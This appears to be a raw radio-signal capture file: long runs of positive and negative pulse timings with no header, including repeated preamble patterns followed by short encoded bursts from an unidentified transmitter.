-593 63 -739 53 -647 59 -60 59 -114 149 -126 104 -193 53 -591 114 -994 104 -72 169 -126 122 -268 96 -171 115 -126 77 -74 113 -379 151 -108 63 -405 53 -283 53 -401 51 -124 71 -341 113 -490 81 -195 63 -88 53 -458 53 -72 107 -486 143 -76 53 -823 51 -60 85 -146 61 -616 87 -96 75 -104 61 -54 79 -351 117 -104 61 -242 89 -62 87 -251 61 -109 194 -162 57 -478 53 -277 57 -306 89 -626 141 -70 55 -163 99 -875 67 -54 152 -279 124 -136 85 -175 78 -304 61 -233 53 -272 53 -116 89 -142 97 -90 125 -324 57 -209 73 -127 51 -108 53 -467 71 -80 79 -124 89 -231 77 -252 254 -128 77 -699 167 -340 59 -111 75 -247 53 -288 75 -114 67 -324 61 -283 105 -272 53 -194 67 -215 86 -128 59 -72 67 -174 71 -437 53 -62 63 -62 67 -442 118 -188 71 -486 85 -811 51 -54 53 -259 127 -120 99 -62 61 -120 90 -505 139 -83 53 -659 53 -1070 57 -120 59 -395 51 -150 83 -64 77 -133 71 -255 67 -181 75 -251 95 -149 67 -177 61 -77 105 -88 132 -64 128 -80 51 -202 133 -96 61 -102 61 -704 85 -177 118 -82 53 -112 73 -216 107 -114 188 -180 97 -106 53 -224 71 -325 87 -282 51 -193 93 -564 72 -172 53 -480 63 -66 117 -391 109 -162 75 -158 89 -876 67 -225 55 -300 53 -54 53 -206 107 -52 153 -360 81 -226 83 -82 143 -446 109 -266 65 -1003 97 -399 51 -203 107 -240 152 -408 97 -254 99 -90 57 -412 71 -84 86 -118 51 -64 108 -458 343 -206 89 -225 87 -128 59 -262 65 -236 132 -103 53 -160 102 -217 69 -363 59 -794 204 -798 154 -98 59 -232 97 -238 -RAW_Data: 119 -90 59 -488 77 -1162 71 -301 124 -341 119 -94 122 -120 147 -314 57 -90 63 -229 65 -320 67 -192 116 -191 77 -168 154 -159 166 -217 61 -999 79 -64 53 -72 59 -272 95 -350 67 -124 87 -225 164 -312 87 -321 132 -200 55 -320 59 -54 83 -140 147 -87 81 -404 89 -126 94 -215 51 -144 59 -523 75 -52 55 -86 69 -550 51 -305 61 -561 107 -325 53 -93 61 -293 63 -294 63 -249 61 -135 79 -123 71 -415 71 -658 103 -136 243 -597 86 -169 59 -168 69 -54 73 -233 53 -172 63 -60 92 -82 105 -321 98 -290 89 -281 63 -106 57 -230 115 -280 174 -168 125 -124 71 -86 123 -529 85 -492 104 -480 73 -745 59 -80 87 -296 108 -463 106 -328 59 -446 77 -351 104 -122 143 -82 107 -552 223 -163 77 -60 107 -123 203 -409 53 -630 59 -296 57 -924 59 -92 63 -96 77 -315 134 -115 69 -100 107 -146 51 -554 69 -221 84 -95 68 -614 53 -70 151 -108 53 -256 89 -361 175 -486 73 -206 90 -98 69 -54 53 -614 61 -110 55 -68 116 -515 69 -281 73 -99 124 -54 79 -136 87 -118 71 -659 79 -1034 106 -176 81 -663 134 -529 106 -246 107 -903 98 -213 117 -143 103 -92 61 -188 61 -324 93 -296 119 -130 59 -333 65 -148 59 -288 65 -112 51 -123 97 -108 106 -113 156 -138 51 -108 75 -372 67 -393 75 -524 77 -142 139 -62 242 -115 71 -297 89 -100 85 -56 51 -153 159 -54 228 -253 148 -120 51 -208 93 -343 110 -383 97 -72 81 -303 80 -98 71 -644 157 -96 88 -224 71 -249 51 -169 97 -195 59 -444 145 -403 51 -178 55 -120 71 -278 96 -724 79 -272 66 -153 91 -320 61 -102 51 -203 67 -195 178 -484 69 -199 53 -428 53 -327 53 -98 81 -544 78 -320 179 -74 53 -134 61 -381 77 -274 111 -145 125 -601 153 -174 163 -288 61 -106 181 -255 135 -309 206 -80 71 -54 79 -372 75 -333 81 -440 63 -121 192 -710 87 -374 158 -235 81 -568 51 -114 53 -231 133 -136 51 -256 87 -96 116 -258 114 -1010 97 -515 51 -186 51 -64 75 -143 172 -52 206 -70 151 -311 75 -174 63 -151 67 -178 71 -119 115 -112 239 -135 91 -356 57 -112 67 -78 59 -68 104 -240 87 -375 294 -529 122 -96 63 -923 101 -311 53 -134 71 -401 59 -134 71 -116 61 -204 137 -184 63 -90 89 -341 91 -240 71 -334 118 -280 109 -292 55 -60 113 -474 75 -782 114 -68 53 -80 67 -152 91 -230 106 -298 61 -189 101 -273 79 -500 71 -694 -RAW_Data: 139 -422 59 -202 59 -1220 51 -160 53 -178 63 -421 88 -233 83 -578 51 -269 51 -429 85 -60 79 -188 71 -433 71 -124 59 -256 79 -201 151 -157 106 -578 51 -502 59 -148 80 -66 51 -172 59 -72 92 -128 102 -473 142 -302 81 -108 81 -237 53 -127 51 -393 118 -52 153 -131 65 -562 85 -197 51 -201 111 -58 53 -116 55 -206 53 -160 63 -330 63 -134 170 -876 174 -179 59 -535 108 -120 73 -323 243 -188 59 -78 71 -162 78 -86 65 -358 106 -118 69 -156 59 -157 67 -262 95 -94 87 -208 160 -345 63 -461 71 -449 102 -134 90 -66 110 -491 105 -369 65 -97 96 -470 120 -402 53 -403 77 -365 88 -316 81 -124 53 -189 65 -68 119 -121 51 -130 102 -935 61 -58 231 -503 77 -632 101 -249 91 -293 168 -72 70 -70 99 -60 102 -402 127 -110 169 -88 81 -170 61 -507 57 -450 97 -600 102 -232 111 -114 53 -74 63 -724 88 -143 89 -214 93 -482 126 -125 190 -198 105 -208 174 -205 86 -108 85 -217 51 -300 53 -314 113 -227 77 -332 106 -90 133 -54 51 -88 111 -93 82 -60 67 -160 67 -60 114 -449 132 -487 82 -452 53 -842 59 -813 181 -912 81 -654 107 -416 53 -378 61 -381 63 -672 79 -82 150 -168 106 -228 53 -207 67 -382 81 -212 59 -241 51 -52 113 -98 88 -192 130 -271 136 -354 81 -60 79 -90 95 -249 160 -225 71 -1564 128 -159 178 -100 84 -70 53 -122 109 -158 93 -337 59 -60 104 -94 65 -640 61 -72 69 -214 71 -136 53 -458 57 -52 117 -300 102 -171 100 -66 63 -80 51 -218 77 -154 89 -450 98 -80 83 -348 70 -242 63 -142 65 -123 83 -574 69 -260 71 -455 53 -154 55 -82 65 -126 59 -573 75 -150 98 -158 61 -121 127 -198 61 -320 53 -947 51 -116 53 -125 71 -307 81 -539 61 -277 78 -738 85 -611 140 -137 63 -249 77 -150 94 -143 57 -294 61 -97 63 -550 71 -102 89 -744 53 -536 122 -54 118 -78 57 -475 128 -68 71 -114 69 -134 123 -591 89 -257 75 -108 83 -395 77 -96 53 -227 61 -110 88 -122 73 -277 131 -143 79 -64 161 -54 53 -112 143 -80 67 -679 51 -176 51 -176 77 -360 93 -170 87 -366 61 -52 59 -157 71 -287 210 -374 89 -70 105 -383 81 -104 67 -143 55 -138 59 -158 155 -292 53 -276 51 -262 125 -222 51 -90 61 -707 71 -390 98 -123 113 -837 53 -443 129 -215 65 -147 89 -194 59 -332 113 -930 111 -74 142 -564 276 -134 188 -132 61 -427 65 -1215 -RAW_Data: 53 -193 55 -470 160 -164 88 -116 53 -100 53 -179 75 -62 51 -137 116 -1073 53 -508 71 -90 97 -352 59 -253 65 -1488 57 -64 59 -573 65 -942 146 -284 108 -907 117 -130 97 -434 65 -142 96 -138 89 -76 211 -244 59 -166 87 -1047 153 -824 130 -611 81 -285 74 -385 142 -164 53 -282 55 -469 194 -348 97 -70 112 -169 59 -136 51 -90 106 -476 105 -257 107 -272 51 -1536 75 -691 67 -54 83 -173 212 -80 100 -143 69 -339 96 -126 67 -196 53 -189 211 -294 55 -235 61 -54 89 -110 53 -560 156 -108 84 -112 59 -136 209 -198 79 -138 106 -357 59 -188 51 -184 79 -430 53 -62 53 -118 165 -70 53 -54 703 -56 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 275 -329 -RAW_Data: 63 -130 53 -232 63 -486 80 -148 57 -538 55 -237 120 -287 133 -146 63 -532 96 -123 51 -447 51 -358 79 -160 95 -182 99 -134 63 -325 75 -93 116 -570 59 -374 80 -54 53 -244 162 -116 75 -100 53 -247 149 -90 61 -464 53 -478 164 -494 117 -62 63 -304 107 -124 77 -142 144 -98 81 -416 80 -204 144 -144 85 -179 88 -510 53 -478 61 -591 53 -188 89 -634 147 -76 51 -878 151 -170 81 -117 61 -164 61 -90 121 -765 71 -136 51 -320 97 -521 95 -160 53 -72 103 -54 57 -146 59 -148 264 -305 85 -162 51 -567 73 -520 149 -108 71 -62 142 -471 59 -72 51 -836 61 -80 198 -279 82 -170 84 -508 95 -654 81 -186 69 -162 126 -214 53 -195 80 -116 77 -316 105 -316 134 -74 75 -450 71 -125 143 -218 71 -196 77 -116 79 -210 128 -530 93 -114 67 -190 67 -515 89 -319 96 -255 81 -295 257 -90 109 -756 69 -556 80 -343 80 -377 93 -358 150 -171 95 -245 65 -1125 63 -451 111 -867 94 -60 95 -56 75 -62 169 -258 59 -170 59 -156 77 -62 79 -54 59 -90 61 -780 103 -201 81 -202 77 -134 87 -58 105 -100 69 -402 67 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -126 127 -66 61 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 61 -64 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -64 125 -130 127 -56 69 -126 127 -128 127 -120 63 -62 133 -64 63 -62 61 -64 63 -64 61 -128 129 -64 61 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -58 69 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -62 63 -62 63 -64 63 -64 63 -128 127 -56 69 -64 61 -64 61 -64 63 -128 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 127 -128 127 -56 67 -126 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 127 -128 63 -64 -RAW_Data: 125 -128 63 -62 63 -62 127 -128 127 -56 71 -126 347 -130 71 -159 51 -197 67 -133 59 -1542 113 -949 83 -218 71 -115 77 -552 81 -266 53 -188 69 -695 140 -409 53 -579 53 -162 71 -88 55 -1166 115 -400 150 -194 51 -161 185 -76 61 -314 114 -118 51 -72 123 -64 90 -133 249 -392 57 -232 119 -338 51 -154 193 -260 71 -460 51 -191 59 -763 67 -78 69 -272 117 -70 143 -254 79 -62 57 -680 89 -112 59 -242 71 -159 59 -250 71 -150 71 -539 187 -429 79 -392 63 -1089 59 -353 81 -126 79 -100 59 -52 51 -158 53 -126 53 -188 69 -287 105 -136 53 -91 51 -170 51 -361 51 -188 59 -162 165 -133 59 -195 51 -154 83 -470 51 -232 105 -227 77 -168 133 -78 61 -90 53 -309 53 -399 57 -229 51 -140 96 -661 57 -129 67 -142 63 -387 97 -54 53 -126 89 -284 115 -172 159 -315 122 -132 65 -66 51 -248 61 -114 176 -122 57 -505 84 -232 61 -133 97 -364 125 -223 53 -285 77 -662 61 -243 99 -414 57 -80 127 -108 152 -122 57 -156 81 -405 65 -579 63 -98 61 -526 123 -76 51 -837 200 -192 87 -503 53 -113 124 -108 83 -189 85 -424 53 -230 51 -172 107 -161 53 -180 69 -102 215 -54 171 -94 73 -76 256 -107 53 -305 133 -195 203 -240 99 -80 138 -123 170 -113 107 -97 148 -82 79 -167 195 -72 125 -86 61 -208 416 -62 251 -74 147 -122 97 -60 735 -71 57 -108 103 -108 53 -139 351 -76 143 -96 115 -128 51 -215 51 -102 67 -240 230 -78 406 -60 136 -347 51 -241 65 -112 79 -98 98 -231 53 -206 140 -373 314 -76 328 -103 378 -56 140 -218 65 -342 143 -78 121 -54 105 -158 123 -104 81 -58 139 -54 81 -320 79 -93 278 -62 106 -220 295 -106 233 -113 255 -84 152 -171 79 -140 59 -58 51 -150 89 -922 117 -346 178 -360 81 -601 63 -419 51 -351 114 -633 99 -194 129 -291 57 -428 71 -54 81 -362 126 -212 67 -166 53 -267 51 -285 81 -407 63 -134 85 -781 61 -776 134 -52 53 -144 69 -98 71 -64 61 -999 53 -257 69 -99 55 -72 78 -89 101 -720 158 -168 161 -724 115 -60 53 -136 59 -310 53 -530 61 -118 55 -112 51 -321 90 -141 159 -303 67 -264 59 -52 104 -92 51 -138 87 -84 91 -270 81 -223 53 -149 81 -156 55 -129 51 -104 118 -238 130 -453 59 -128 97 -363 59 -162 295 -112 78 -64 210 -148 117 -387 79 -252 61 -317 169 -123 63 -322 85 -282 61 -240 81 -54 61 -272 -RAW_Data: 106 -491 53 -60 51 -250 70 -110 78 -160 61 -62 86 -54 205 -263 61 -56 109 -112 59 -304 63 -264 65 -208 59 -116 167 -106 112 -176 182 -52 88 -76 85 -176 68 -172 81 -207 115 -52 88 -233 96 -241 89 -496 51 -120 57 -399 89 -515 73 -172 131 -596 51 -306 73 -80 199 -98 61 -172 51 -433 61 -417 67 -148 69 -236 51 -315 152 -228 96 -200 93 -80 67 -192 59 -382 51 -80 198 -52 73 -184 93 -657 106 -108 53 -125 59 -106 79 -186 131 -165 79 -86 81 -106 61 -274 59 -178 81 -221 61 -875 61 -320 112 -118 216 -138 76 -172 139 -62 93 -274 91 -66 184 -68 53 -81 73 -297 161 -62 79 -114 97 -235 67 -184 51 -141 196 -54 67 -149 222 -135 248 -194 67 -256 218 -96 191 -64 75 -253 80 -78 81 -98 83 -60 65 -633 133 -54 51 -98 57 -228 61 -72 132 -99 77 -106 78 -260 94 -114 79 -238 73 -141 63 -203 89 -133 115 -160 196 -265 53 -68 246 -498 63 -62 81 -296 143 -226 104 -170 71 -167 53 -94 114 -90 61 -159 79 -160 75 -209 53 -130 242 -126 55 -215 88 -70 87 -152 122 -119 155 -58 305 -78 115 -233 106 -60 75 -122 83 -150 166 -249 191 -62 112 -432 103 -208 95 -193 53 -1102 172 -827 97 -90 79 -94 89 -72 89 -54 59 -180 59 -300 70 -178 71 -281 55 -125 89 -440 59 -127 67 -352 69 -86 53 -150 81 -200 145 -142 177 -618 82 -260 87 -149 53 -276 61 -82 53 -582 88 -72 53 -207 59 -84 116 -223 95 -440 73 -437 63 -54 89 -568 55 -150 80 -537 71 -107 53 -108 63 -413 87 -634 97 -152 88 -634 53 -186 53 -90 51 -1197 55 -117 71 -74 179 -52 105 -697 89 -733 109 -80 57 -660 71 -103 83 -498 91 -895 53 -52 142 -173 87 -497 75 -315 230 -104 61 -60 71 -182 126 -152 63 -79 95 -155 88 -198 53 -552 106 -429 102 -156 78 -339 59 -329 73 -354 51 -70 67 -72 53 -278 143 -62 113 -89 71 -114 71 -76 83 -114 79 -503 120 -397 75 -266 129 -62 51 -220 51 -178 121 -220 101 -395 96 -222 144 -169 69 -343 136 -695 105 -104 61 -204 81 -234 81 -272 378 -571 89 -60 79 -314 83 -165 51 -443 114 -62 201 -134 53 -182 101 -267 326 -702 158 -251 93 -489 137 -254 158 -136 51 -205 1174 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 207 -115 53 -336 61 -125 69 -754 77 -103 77 -1917 112 -106 111 -192 78 -54 81 -129 53 -180 212 -267 51 -117 51 -78 69 -86 98 -190 59 -311 113 -225 67 -254 71 -285 59 -716 51 -60 65 -94 69 -427 90 -88 73 -360 197 -54 161 -489 71 -52 117 -375 62 -270 51 -233 88 -158 91 -310 81 -60 59 -612 136 -98 61 -680 65 -136 82 -231 87 -153 59 -481 71 -216 174 -992 51 -193 53 -830 71 -301 115 -231 89 -158 53 -494 61 -112 97 -268 161 -307 125 -377 71 -252 61 -124 68 -108 61 -242 99 -520 105 -62 81 -418 170 -98 140 -456 89 -139 117 -519 125 -80 53 -168 79 -66 59 -407 59 -98 103 -166 53 -149 101 -612 65 -194 61 -116 59 -96 65 -82 63 -62 53 -68 143 -114 162 -252 53 -218 53 -82 134 -445 55 -141 51 -579 121 -378 125 -54 71 -176 84 -116 99 -78 -RAW_Data: 113 -496 69 -62 53 -287 53 -162 51 -328 59 -205 93 -545 115 -305 191 -116 133 -179 83 -306 77 -199 111 -257 51 -251 71 -88 53 -78 53 -657 98 -281 238 -187 67 -888 59 -140 85 -196 51 -86 71 -720 53 -185 111 -339 127 -1037 128 -346 59 -435 53 -236 59 -52 97 -399 85 -108 83 -78 55 -148 57 -176 86 -513 57 -345 87 -78 149 -54 141 -144 65 -106 51 -291 1339 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -64 63 -128 127 -64 61 -128 63 -64 61 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -130 127 -126 127 -120 133 -56 69 -126 127 -128 127 -120 63 -62 133 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -64 61 -62 63 -62 63 -64 63 -64 63 -128 127 -64 61 -64 61 -64 61 -64 63 -128 63 -64 61 -64 127 -64 63 -62 63 -126 129 -128 127 -128 125 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -64 61 -64 127 -128 63 -64 125 -64 61 -64 61 -128 129 -128 63 -62 125 -128 323 -546 85 -256 51 -90 67 -58 51 -164 79 -571 83 -111 77 -178 71 -58 167 -62 85 -117 79 -250 89 -282 63 -234 61 -102 150 -211 116 -114 53 -84 51 -127 124 -273 160 -83 53 -130 75 -241 79 -139 81 -153 51 -96 128 -372 87 -244 142 -246 67 -144 82 -552 127 -193 69 -180 63 -879 96 -845 51 -90 154 -176 207 -862 87 -664 65 -140 71 -266 113 -134 53 -443 53 -70 123 -167 89 -148 77 -136 53 -118 97 -179 61 -118 73 -128 59 -307 93 -358 57 -58 53 -193 69 -577 170 -158 53 -170 92 -108 71 -70 51 -1372 61 -423 103 -381 53 -207 79 -232 67 -116 53 -108 178 -88 53 -261 69 -367 -RAW_Data: 142 -257 96 -129 122 -80 96 -378 59 -136 53 -498 51 -114 59 -98 53 -881 89 -158 51 -68 83 -240 53 -52 59 -150 85 -79 106 -210 252 -204 71 -159 77 -154 61 -150 106 -313 94 -108 53 -665 101 -317 105 -150 71 -333 57 -128 51 -168 59 -136 59 -84 59 -665 98 -179 151 -88 93 -236 111 -152 131 -54 89 -229 59 -70 129 -314 248 -115 83 -169 71 -106 169 -187 59 -52 71 -213 71 -164 103 -120 67 -76 67 -130 59 -107 135 -341 53 -494 59 -462 61 -106 81 -107 117 -147 132 -357 51 -58 96 -299 51 -438 65 -148 113 -72 51 -166 119 -150 69 -180 111 -136 75 -99 117 -183 63 -112 107 -52 67 -80 95 -518 61 -195 77 -165 63 -80 149 -233 77 -404 63 -193 111 -72 71 -269 378 -431 79 -54 135 -72 146 -196 97 -91 143 -125 83 -186 69 -224 81 -133 168 -52 154 -68 166 -244 99 -80 144 -292 108 -172 61 -68 89 -239 104 -248 288 -168 85 -408 55 -112 192 -184 51 -80 93 -152 158 -170 71 -105 53 -161 213 -151 77 -293 73 -76 274 -175 69 -60 194 -99 106 -356 61 -82 71 -110 162 -85 123 -392 61 -114 135 -90 97 -385 122 -255 79 -284 181 -386 51 -320 120 -324 65 -100 89 -345 61 -108 81 -107 53 -257 95 -250 71 -377 75 -60 126 -443 73 -60 67 -194 76 -195 53 -80 53 -90 51 -54 77 -80 125 -232 63 -456 71 -100 89 -98 105 -1166 73 -98 59 -112 67 -54 71 -102 61 -199 79 -276 98 -70 107 -502 67 -129 97 -167 51 -187 83 -110 73 -480 63 -513 183 -238 53 -367 91 -436 69 -620 61 -539 51 -306 75 -366 106 -100 75 -112 53 -335 53 -400 51 -226 61 -68 173 -144 71 -56 153 -269 89 -257 79 -806 81 -954 51 -98 87 -400 53 -208 61 -252 61 -645 127 -430 132 -211 95 -433 230 -159 71 -98 51 -100 69 -52 136 -64 59 -149 51 -397 53 -292 78 -268 246 -54 85 -78 110 -331 59 -601 83 -120 69 -66 71 -334 64 -231 53 -82 59 -627 95 -212 63 -908 53 -521 53 -161 61 -473 88 -183 101 -144 53 -64 71 -72 51 -211 71 -114 79 -794 105 -911 83 -797 57 -54 78 -459 67 -52 185 -236 89 -777 75 -391 89 -126 86 -483 99 -334 141 -60 65 -211 69 -567 87 -143 59 -237 162 -289 124 -200 71 -98 106 -595 106 -470 51 -58 78 -249 53 -244 67 -294 67 -658 51 -58 75 -317 53 -120 119 -431 53 -170 53 -185 107 -90 103 -196 99 -294 61 -216 167 -119 -RAW_Data: 51 -108 167 -134 53 -143 114 -146 69 -160 104 -190 67 -202 159 -190 125 -233 297 -70 211 -174 150 -196 179 -145 202 -64 422 -52 87 -62 75 -80 192 -113 160 -72 79 -62 171 -242 177 -66 85 -56 93 -89 103 -198 97 -347 153 -277 165 -82 107 -145 161 -108 57 -116 87 -70 308 -92 101 -74 99 -62 188 -186 61 -335 206 -106 252 -60 63 -181 121 -96 251 -310 136 -54 71 -116 51 -146 162 -66 75 -52 238 -88 193 -360 87 -92 51 -211 73 -88 167 -96 96 -64 169 -134 182 -100 124 -88 61 -84 69 -76 220 -72 82 -64 131 -80 59 -140 139 -112 101 -108 97 -147 120 -58 249 -60 89 -98 173 -52 152 -72 61 -145 221 -108 320 -343 71 -90 84 -80 61 -52 67 -60 170 -319 161 -139 165 -62 107 -116 134 -253 140 -163 135 -107 249 -80 343 -80 81 -92 88 -518 55 -194 51 -142 107 -114 178 -360 63 -52 61 -313 73 -62 134 -103 144 -186 137 -114 69 -210 51 -52 117 -92 73 -80 53 -318 51 -54 79 -354 53 -207 134 -82 93 -136 69 -348 77 -467 73 -147 67 -104 69 -563 89 -102 63 -179 79 -436 92 -158 80 -200 59 -530 65 -84 75 -78 67 -141 57 -370 67 -399 81 -90 126 -66 114 -204 65 -202 106 -64 55 -74 113 -174 71 -152 101 -116 119 -213 53 -590 137 -216 67 -209 83 -785 198 -239 61 -408 51 -80 81 -321 71 -363 81 -175 83 -54 51 -334 73 -82 115 -358 77 -1108 79 -134 121 -60 51 -557 81 -134 121 -269 59 -104 76 -72 71 -683 53 -98 95 -339 116 -261 61 -342 110 -296 71 -122 51 -510 59 -216 107 -196 51 -188 186 -308 133 -134 51 -219 59 -1179 51 -274 137 -557 61 -126 255 -182 88 -72 109 -268 211 -118 79 -106 55 -122 53 -113 79 -96 136 -717 63 -542 103 -443 288 -223 59 -74 143 -96 217 -184 83 -54 136 -139 63 -313 139 -340 51 -159 53 -354 79 -254 53 -245 365 -245 129 -260 59 -96 69 -364 82 -188 63 -206 103 -98 55 -218 59 -382 69 -662 130 -254 63 -344 89 -370 63 -221 86 -134 87 -110 97 -481 70 -244 151 -64 119 -116 53 -162 69 -319 167 -194 107 -516 57 -215 69 -206 98 -620 61 -340 77 -254 64 -186 65 -141 71 -513 51 -104 51 -122 51 -1328 77 -190 57 -126 71 -385 71 -98 152 -566 134 -62 53 -319 160 -144 170 -164 96 -474 51 -152 53 -158 63 -238 153 -211 59 -90 63 -184 55 -104 59 -219 143 -89 51 -160 124 -587 111 -98 71 -92 -RAW_Data: 67 -310 183 -425 79 -405 71 -1355 102 -52 51 -212 90 -236 59 -116 51 -834 51 -325 71 -54 122 -90 53 -617 142 -224 65 -129 59 -52 57 -460 51 -310 53 -336 61 -56 51 -60 59 -136 89 -227 109 -347 53 -1039 53 -178 59 -200 59 -165 67 -165 174 -102 71 -90 185 -206 64 -80 71 -246 51 -731 129 -251 125 -62 103 -62 98 -452 67 -60 88 -191 55 -150 71 -551 67 -266 81 -480 85 -502 78 -72 153 -252 135 -890 69 -96 112 -559 97 -119 71 -764 85 -54 61 -430 57 -271 117 -917 63 -242 65 -98 102 -98 53 -90 110 -105 220 -270 63 -512 53 -78 87 -142 126 -54 71 -72 96 -154 96 -54 63 -197 71 -162 89 -660 866 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 